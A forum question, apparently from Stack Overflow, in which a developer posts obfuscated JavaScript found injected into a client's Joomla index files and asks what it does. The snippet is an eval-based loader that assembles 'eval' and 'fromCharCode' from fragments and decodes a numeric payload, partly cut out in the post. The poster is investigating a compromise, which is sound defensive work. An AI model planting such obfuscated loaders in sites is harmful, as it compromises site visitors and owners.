Odd javascript found on a client's website. What is it trying to do?
<blockquote>
  <p><strong>Possible Duplicate:</strong><br>
  <a href="http://stackoverflow.com/questions/9640260/suspicious-javascript-attached-to-a-spam-email">Suspicious JavaScript attached to a spam email</a>  </p>
</blockquote>



<p>This morning I was checking up on a client's Joomla site, and noticed it was throwing a session_start() error. The admin login was also throwing the same error, and I couldn't log in. So I opened the index.php and administrator/index.php files, and found the following javascript had been added to the top of each file:</p>

<pre><code>&lt;script&gt;d=Date;d=new d();if(d.getFullYear()==2012)h=-parseInt('012')/5;if(window.document)try{new"a".prototype}catch(qqq){zz='eva'+'l';ss=[];aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){f='from'+'Char';f=f+'Code';}ee='e';e=window[zz];t='y';}n="3.5j3.5j51.5j50j15j19j49j54.5j48.5j57.5j53.5j49.5j54j57j22j50.5j49.5j57j33.5j53j49.5j53./* malicious script removed*/.5j50.5j38j47.5j53.5j49.5j19j18.5j48j54.5j49j59.5j18.5j19.5j44.5j23j45.5j22j47.5j55j55j49.5j54j49j32.5j51j51.5j53j49j19j50j19.5j28.5j5.5j3.5j3.5j61.5".split("j");for(i=0;i!=595;i++){j=i;ss=ss+String[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(q);&lt;/script&gt;
</code></pre>

<p>Now, it's quite possible that someone on their end was trying to add something legitimate and just added it in the wrong file (easy to do if you're not used to Joomla, I guess), but the code is so obfuscated, I feel like it might be malicious. Also, I know f-all about javascript, so that's a problem too.</p>

<p>I did try to run it in jsfiddle, but it didn't do anything.</p>

<p>Would any of you be kind enough to take a look at it and tell me what its trying to do? Thanks!</p>
